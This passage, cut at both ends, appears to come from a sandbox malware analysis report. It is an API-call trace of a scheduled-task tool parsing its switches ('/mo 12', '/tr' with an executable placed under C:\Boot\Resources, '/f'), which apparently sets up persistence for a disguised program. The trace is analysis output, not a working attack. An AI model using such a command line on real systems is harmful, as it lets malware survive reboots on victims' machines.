returned 1 [0128.588] lstrlenW (lpString="?") returned 1 [0128.588] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.588] lstrlenW (lpString="mo") returned 2 [0128.588] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.588] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|?|") returned 3 [0128.588] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|mo|") returned 4 [0128.589] lstrlenW (lpString="|?|") returned 3 [0128.589] lstrlenW (lpString="|mo|") returned 4 [0128.589] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.589] lstrlenW (lpString="create") returned 6 [0128.589] lstrlenW (lpString="create") returned 6 [0128.589] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.589] lstrlenW (lpString="mo") returned 2 [0128.589] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.589] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|create|") returned 8 [0128.589] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|mo|") returned 4 [0128.589] lstrlenW (lpString="|create|") returned 8 [0128.589] lstrlenW (lpString="|mo|") returned 4 [0128.589] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0128.589] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.589] lstrlenW (lpString="delete") returned 6 [0128.589] lstrlenW (lpString="delete") returned 6 [0128.589] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.589] lstrlenW (lpString="mo") returned 2 [0128.589] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.589] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|delete|") returned 8 [0128.589] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|mo|") returned 4 [0128.589] lstrlenW (lpString="|delete|") returned 8 [0128.589] lstrlenW (lpString="|mo|") returned 4 [0128.589] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0128.589] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.589] lstrlenW (lpString="query") returned 5 [0128.590] lstrlenW (lpString="query") returned 5 [0128.590] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.590] lstrlenW (lpString="mo") returned 2 [0128.590] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.590] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|query|") returned 7 [0128.590] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|mo|") returned 4 [0128.590] lstrlenW (lpString="|query|") returned 7 [0128.590] lstrlenW (lpString="|mo|") returned 4 [0128.590] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0128.590] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.590] lstrlenW (lpString="change") returned 6 [0128.590] lstrlenW (lpString="change") returned 6 [0128.590] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.590] lstrlenW (lpString="mo") returned 2 [0128.590] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.590] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|change|") returned 8 [0128.590] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|mo|") returned 4 [0128.590] lstrlenW (lpString="|change|") returned 8 [0128.590] lstrlenW (lpString="|mo|") returned 4 [0128.590] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0128.590] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.590] lstrlenW (lpString="run") returned 3 [0128.590] lstrlenW (lpString="run") returned 3 [0128.590] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.591] lstrlenW (lpString="mo") returned 2 [0128.591] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.591] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|run|") returned 5 [0128.591] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|mo|") returned 4 [0128.591] lstrlenW (lpString="|run|") returned 5 [0128.591] lstrlenW (lpString="|mo|") returned 4 [0128.591] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0128.591] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.591] lstrlenW (lpString="end") returned 3 [0128.591] lstrlenW (lpString="end") returned 3 [0128.591] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.591] lstrlenW (lpString="mo") returned 2 [0128.591] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.591] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|end|") returned 5 [0128.591] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|mo|") returned 4 [0128.591] lstrlenW (lpString="|end|") returned 5 [0128.591] lstrlenW (lpString="|mo|") returned 4 [0128.591] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0128.591] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.591] lstrlenW (lpString="showsid") returned 7 [0128.591] lstrlenW (lpString="showsid") returned 7 [0128.592] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.592] lstrlenW (lpString="mo") returned 2 [0128.592] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.592] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|showsid|") returned 9 [0128.592] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|mo|") returned 4 [0128.592] lstrlenW (lpString="|showsid|") returned 9 [0128.592] lstrlenW (lpString="|mo|") returned 4 [0128.592] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0128.592] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.592] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.592] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.592] lstrlenW (lpString="/mo") returned 3 [0128.592] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0128.592] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.592] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.592] lstrlenW (lpString="/mo") returned 3 [0128.592] GetProcessHeap () returned 0x1abb7a10000 [0128.592] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x8) returned 0x1abb7a14280 [0128.592] GetProcessHeap () returned 0x1abb7a10000 [0128.592] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b8b0 [0128.592] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.593] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.593] lstrlenW (lpString="12") returned 2 [0128.593] lstrlenW (lpString="-/") returned 2 [0128.593] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0128.593] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.593] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.593] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.593] lstrlenW (lpString="12") returned 2 [0128.593] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0128.593] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.593] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.593] lstrlenW (lpString="12") returned 2 [0128.593] GetProcessHeap () returned 0x1abb7a10000 [0128.593] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x6) returned 0x1abb7a142a0 [0128.593] GetProcessHeap () returned 0x1abb7a10000 [0128.593] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b4f0 [0128.593] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.593] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.593] lstrlenW (lpString="/tr") returned 3 [0128.593] lstrlenW (lpString="-/") returned 2 [0128.593] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.593] lstrlenW (lpString="?") returned 1 [0128.593] lstrlenW (lpString="?") returned 1 [0128.593] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.594] lstrlenW (lpString="tr") returned 2 [0128.594] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.594] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|?|") returned 3 [0128.594] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tr|") returned 4 [0128.594] lstrlenW (lpString="|?|") returned 3 [0128.594] lstrlenW (lpString="|tr|") returned 4 [0128.594] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.594] lstrlenW (lpString="create") returned 6 [0128.594] lstrlenW (lpString="create") returned 6 [0128.594] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.594] lstrlenW (lpString="tr") returned 2 [0128.594] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.594] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|create|") returned 8 [0128.594] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tr|") returned 4 [0128.594] lstrlenW (lpString="|create|") returned 8 [0128.594] lstrlenW (lpString="|tr|") returned 4 [0128.594] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0128.594] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.594] lstrlenW (lpString="delete") returned 6 [0128.594] lstrlenW (lpString="delete") returned 6 [0128.594] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.594] lstrlenW (lpString="tr") returned 2 [0128.594] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.594] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|delete|") returned 8 [0128.595] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tr|") returned 4 [0128.595] lstrlenW (lpString="|delete|") returned 8 [0128.595] lstrlenW (lpString="|tr|") returned 4 [0128.595] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0128.595] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.595] lstrlenW (lpString="query") returned 5 [0128.595] lstrlenW (lpString="query") returned 5 [0128.595] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.595] lstrlenW (lpString="tr") returned 2 [0128.595] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.595] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|query|") returned 7 [0128.595] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tr|") returned 4 [0128.595] lstrlenW (lpString="|query|") returned 7 [0128.595] lstrlenW (lpString="|tr|") returned 4 [0128.595] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0128.595] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.595] lstrlenW (lpString="change") returned 6 [0128.595] lstrlenW (lpString="change") returned 6 [0128.595] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.595] lstrlenW (lpString="tr") returned 2 [0128.595] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.596] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|change|") returned 8 [0128.596] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tr|") returned 4 [0128.596] lstrlenW (lpString="|change|") returned 8 [0128.596] lstrlenW (lpString="|tr|") returned 4 [0128.596] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0128.596] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.596] lstrlenW (lpString="run") returned 3 [0128.596] lstrlenW (lpString="run") returned 3 [0128.596] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.596] lstrlenW (lpString="tr") returned 2 [0128.596] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.596] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|run|") returned 5 [0128.596] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tr|") returned 4 [0128.596] lstrlenW (lpString="|run|") returned 5 [0128.596] lstrlenW (lpString="|tr|") returned 4 [0128.596] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0128.596] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.596] lstrlenW (lpString="end") returned 3 [0128.596] lstrlenW (lpString="end") returned 3 [0128.596] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.596] lstrlenW (lpString="tr") returned 2 [0128.596] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.596] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|end|") returned 5 [0128.596] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tr|") returned 4 [0128.596] lstrlenW (lpString="|end|") returned 5 [0128.597] lstrlenW (lpString="|tr|") returned 4 [0128.597] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0128.597] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.597] lstrlenW (lpString="showsid") returned 7 [0128.597] lstrlenW (lpString="showsid") returned 7 [0128.597] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.597] lstrlenW (lpString="tr") returned 2 [0128.597] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.597] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|showsid|") returned 9 [0128.597] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tr|") returned 4 [0128.597] lstrlenW (lpString="|showsid|") returned 9 [0128.597] lstrlenW (lpString="|tr|") returned 4 [0128.597] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0128.597] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.597] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.597] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.597] lstrlenW (lpString="/tr") returned 3 [0128.597] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0128.597] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.597] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.597] lstrlenW (lpString="/tr") returned 3 [0128.597] GetProcessHeap () returned 0x1abb7a10000 [0128.597] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x8) returned 0x1abb7a142c0 [0128.597] GetProcessHeap () returned 0x1abb7a10000 [0128.597] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b580 [0128.597] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.597] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.597] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0128.597] lstrlenW (lpString="-/") returned 2 [0128.598] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.598] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.598] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.598] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.598] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0128.598] StrChrIW (lpStart="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Boot\\Resources\\en-US\\absolutetelnet.exe'" [0128.598] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0128.598] GetProcessHeap () returned 0x1abb7a10000 [0128.598] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a142e0 [0128.598] _memicmp (_Buf1=0x1abb7a142e0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.598] GetProcessHeap () returned 0x1abb7a10000 [0128.598] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xe) returned 0x1abb7a14300 [0128.598] GetProcessHeap () returned 0x1abb7a10000 [0128.598] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a1abb0 [0128.598] _memicmp (_Buf1=0x1abb7a1abb0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.598] GetProcessHeap () returned 0x1abb7a10000 [0128.598] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x5c) returned 0x1abb7a13b40 [0128.598] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.598] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.598] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.598] lstrlenW (lpString="'C") returned 2 [0128.598] lstrlenW (lpString="-/") returned 2 [0128.598] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.598] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.598] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.598] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.598] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0128.598] GetProcessHeap () returned 0x1abb7a10000 [0128.599] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x5a) returned 0x1abb7a13bb0 [0128.599] GetProcessHeap () returned 0x1abb7a10000 [0128.599] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b9a0 [0128.599] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.599] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.599] lstrlenW (lpString="/f") returned 2 [0128.599] lstrlenW (lpString="-/") returned 2 [0128.599] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.599] lstrlenW (lpString="?") returned 1 [0128.599] lstrlenW (lpString="?") returned 1 [0128.599] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.599] lstrlenW (lpString="f") returned 1 [0128.599] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.599] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|?|") returned 3 [0128.599] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|f|") returned 3 [0128.599] lstrlenW (lpString="|?|") returned 3 [0128.599] lstrlenW (lpString="|f|") returned 3 [0128.599] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0128.599] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.599] lstrlenW (lpString="create") returned 6 [0128.599] lstrlenW (lpString="create") returned 6 [0128.599] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.599] lstrlenW (lpString="f") returned 1 [0128.600] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.600] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|create|") returned 8 [0128.600] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|f|") returned 3 [0128.600] lstrlenW (lpString="|create|") returned 8 [0128.600] lstrlenW (lpString="|f|") returned 3 [0128.600] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0128.600] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.600] lstrlenW (lpString="delete") returned 6 [0128.603] lstrlenW (lpString="delete") returned 6 [0128.603] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.603] lstrlenW (lpString="f") returned 1 [0128.603] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.603] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|delete|") returned 8 [0128.603] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|f|") returned 3 [0128.603] lstrlenW (lpString="|delete|") returned 8 [0128.603] lstrlenW (lpString="|f|") returned 3 [0128.603] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0128.603] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.603] lstrlenW (lpString="query") returned 5 [0128.603] lstrlenW (lpString="query") returned 5 [0128.603] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.604] lstrlenW (lpString="f") returned 1 [0128.604] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.604] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|query|") returned 7 [0128.604] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|f|") returned 3 [0128.604] lstrlenW (lpString="|query|") returned 7 [0128.604] lstrlenW (lpString="|f|") returned 3 [0128.604] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0128.604] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.604] lstrlenW (lpString="change") returned 6 [0128.604] lstrlenW (lpString="change") returned 6 [0128.604] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.604] lstrlenW (lpString="f") returned 1 [0128.604] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.604] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|change|") returned 8 [0128.604] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|f|") returned 3 [0128.604] lstrlenW (lpString="|change|") returned 8 [0128.604] lstrlenW (lpString="|f|") returned 3 [0128.604] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0128.604] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.604] lstrlenW (lpString="run") returned 3 [0128.604] lstrlenW (lpString="run") returned 3 [0128.605] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.605] lstrlenW (lpString="f") returned 1 [0128.605] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.605] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|run|") returned 5 [0128.605] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|f|") returned 3 [0128.605] lstrlenW (lpString="|run|") returned 5 [0128.605] lstrlenW (lpString="|f|") returned 3 [0128.605] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0128.605] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.605] lstrlenW (lpString="end") returned 3 [0128.605] lstrlenW (lpString="end") returned 3 [0128.605] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.605] lstrlenW (lpString="f") returned 1 [0128.605] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.605] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|end|") returned 5 [0128.605] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|f|") returned 3 [0128.605] lstrlenW (lpString="|end|") returned 5 [0128.605] lstrlenW (lpString="|f|") returned 3 [0128.605] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0128.605] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.605] lstrlenW (lpString="showsid") returned 7 [0128.605] lstrlenW (lpString="showsid") returned 7 [0128.605] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.605] lstrlenW (lpString="f") returned 1 [0128.605] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.606] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|showsid|") returned 9 [0128.606] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, 